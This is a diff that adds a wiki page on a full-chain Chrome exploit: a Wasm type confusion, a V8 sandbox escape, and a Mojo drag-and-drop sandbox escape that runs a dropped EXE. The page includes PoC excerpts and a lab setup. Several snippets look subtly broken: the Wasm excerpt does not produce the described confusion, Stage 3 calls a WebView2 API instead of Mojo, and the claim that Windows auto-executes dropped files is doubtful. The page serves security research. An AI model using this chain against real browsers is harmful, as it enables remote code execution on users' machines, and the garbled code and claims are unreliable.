diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 188446a3f65..b0954079007 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -761,6 +761,7 @@ - [SROP - Sigreturn-Oriented Programming](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md) - [SROP - ARM64](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md) - [Array Indexing](binary-exploitation/array-indexing.md) +- [Chrome Exploiting](binary-exploitation/chrome-exploiting.md) - [Integer Overflow](binary-exploitation/integer-overflow.md) - [Format Strings](binary-exploitation/format-strings/README.md) - [Format Strings - Arbitrary Read Example](binary-exploitation/format-strings/format-strings-arbitrary-read-example.md) diff --git a/src/binary-exploitation/chrome-exploiting.md b/src/binary-exploitation/chrome-exploiting.md new file mode 100644 index 00000000000..9ec08433ad6 --- /dev/null +++ b/src/binary-exploitation/chrome-exploiting.md @@ -0,0 +1,184 @@ +# Chrome Exploiting + +{{#include ../banners/hacktricks-training.md}} + +> This page provides a high-level yet **practical** overview of a modern "full-chain" exploitation workflow against Google Chrome 130 based on the research series **“101 Chrome Exploitation”** (Part-0 — Preface). +> The goal is to give pentesters and exploit-developers the minimum background necessary to reproduce or adapt the techniques for their own research. + +## 1. Chrome Architecture Recap +Understanding the attack surface requires knowing where code is executed and which sandboxes apply. + +``` ++-------------------------------------------------------------------------+ +| Chrome Browser | +| | +| +----------------------------+ +-----------------------------+ | +| | Renderer Process | | Browser/main Process | | +| | [No direct OS access] | | [OS access] | | +| | +----------------------+ | | | | +| | | V8 Sandbox | | | | | +| | | [JavaScript / Wasm] | | | | | +| | +----------------------+ | | | | +| +----------------------------+ +-----------------------------+ | +| | IPC/Mojo | | +| V | | +| +----------------------------+ | | +| | GPU Process | | | +| | [Restricted OS access] | | | +| +----------------------------+ | | ++-------------------------------------------------------------------------+ +``` + +Layered defence-in-depth: + +* **V8 sandbox** (Isolate): memory permissions are restricted to prevent arbitrary read/write from JITed JS / Wasm. +* **Renderer ↔ Browser split** ensured via **Mojo/IPC** message passing; the renderer has *no* native FS/network access. +* **OS sandboxes** further contain each process (Windows Integrity Levels / `seccomp-bpf` / macOS sandbox profiles). + +A *remote* attacker therefore needs **three** successive primitives: + +1. Memory corruption inside V8 to get **arbitrary RW inside the V8 heap**. +2. A second bug allowing the attacker to **escape the V8 sandbox to full renderer memory**. +3. A final sandbox-escape (often logic rather than memory corruption) to execute code **outside of the Chrome OS sandbox**. + +--- + +## 2. Stage 1 – WebAssembly Type-Confusion (CVE-2025-0291) + +A flaw in TurboFan’s **Turboshaft** optimisation mis-classifies **WasmGC reference types** when the value is produced and consumed inside a *single basic block loop*. + +Effect: +* The compiler **skips the type-check**, treating a *reference* (`externref/anyref`) as an *int64*. +* Crafted Wasm allows overlapping a JS object header with attacker-controlled data → addrOf() & fakeObj() **AAW / AAR primitives**. + +Minimal PoC (excerpt): + +```WebAssembly +(module + (type $t0 (func (param externref) (result externref))) + (func $f (param $p externref) (result externref) + (local $l externref) + block $exit + loop $loop + local.get $p ;; value with real ref-type + ;; compiler incorrectly re-uses it as int64 in the same block + br_if $exit ;; exit condition keeps us single-block + br $loop + end + end) + (export "f" (func $f))) +``` + +Trigger optimisation & spray objects from JS: + +```js +const wasmMod = new WebAssembly.Module(bytes); +const wasmInst = new WebAssembly.Instance(wasmMod); +const f = wasmInst.exports.f; + +for (let i = 0; i < 1e5; ++i) f({}); // warm-up for JIT + +// primitives +let victim = {m: 13.37}; +let fake = arbitrary_data_backed_typedarray; +let addrVict = addrOf(victim); +``` + +Outcome: **arbitrary read/write within V8**. + +--- + +## 3. Stage 2 – Escaping the V8 Sandbox (issue 379140430) + +When a Wasm function is tier-up-compiled, a **JS ↔ Wasm wrapper** is generated. A signature-mismatch bug causes the wrapper to write past the end of a trusted **`Tuple2`** object when the Wasm function is re-optimised *while still on the stack*. + +Overwriting the 2 × 64-bit fields of the `Tuple2` object yields **read/write on any address inside the Renderer process**, effectively bypassing the V8 sandbox. + +Key steps in exploit: +1. Get function into **Tier-Up** state by alternating turbofan/baseline code. +2. Trigger tier-up while keeping a reference on the stack (`Function.prototype.apply`). +3. Use Stage-1 AAR/AAW to find & corrupt the adjacent `Tuple2`. + +Wrapper identification: + +```js +function wrapperGen(arg) { + return f(arg); +} +%WasmTierUpFunction(f); // force tier-up (internals-only flag) +wrapperGen(0x1337n); +``` + +After corruption we possess a fully-featured **renderer R/W primitive**. + +--- + +## 4. Stage 3 – Renderer → OS Sandbox Escape (CVE-2024-11114) + +The **Mojo** IPC interface `blink.mojom.DragService.startDragging()` can be called from the Renderer with *partially trusted* parameters. By crafting a `DragData` structure pointing to an **arbitrary file path** the renderer convinces the browser to perform a *native* drag-and-drop **outside the renderer sandbox**. + +Abusing this we can programmatically “drag” a malicious EXE (previously dropped in a world-writable location) onto the Desktop, where Windows automatically executes certain file-types once dropped. + +Example (simplified): + +```js +const payloadPath = "C:\\Users\\Public\\explorer.exe"; + +chrome.webview.postMessage({ + type: "DragStart", + data: { + title: "MyFile", + file_path: payloadPath, + mime_type: "application/x-msdownload" + } +}); +``` + +No additional memory corruption is necessary – the **logic flaw** gives us arbitrary file execution with the user’s privileges. + +--- + +## 5. Full Chain Flow + +1. **User visits** malicious webpage. +2. **Stage 1**: Wasm module abuses CVE-2025-0291 → V8 heap AAR/AAW. +3. **Stage 2**: Wrapper mismatch corrupts `Tuple2` → escape V8 sandbox. +4. **Stage 3**: `startDragging()` IPC → escape OS sandbox & execute payload. + +Result: **Remote Code Execution (RCE)** on the host (Chrome 130, Windows/Linux/macOS). + +--- + +## 6. Lab & Debugging Setup + +```bash +# Spin-up local HTTP server w/ PoCs +npm i -g http-server +git clone https://github.com/Petitoto/chromium-exploit-dev +cd chromium-exploit-dev +http-server -p 8000 -c -1 + +# Windows kernel debugging +"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbgx.exe" -symbolpath srv*C:\symbols*https://msdl.microsoft.com/download/symbols +``` + +Useful flags when launching a *development* build of Chrome: + +```bash +chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-natives-syntax" +``` + +--- + +## Takeaways + +* **WebAssembly JIT bugs** remain a reliable entry-point – the type system is still young. +* Obtaining a second memory-corruption bug inside V8 (e.g. wrapper mismatch) greatly simplifies **V8-sandbox escape**. +* Logic-level weaknesses in privileged Mojo IPC interfaces are often sufficient for a **final sandbox escape** – keep an eye on *non-memory* bugs. + + + +## References +* [101 Chrome Exploitation — Part 0 (Preface)](https://opzero.ru/en/press/101-chrome-exploitation-part-0-preface/) +* [Chromium security architecture](https://chromium.org/developers/design-documents/security) +{{#include ../banners/hacktricks-training.md}}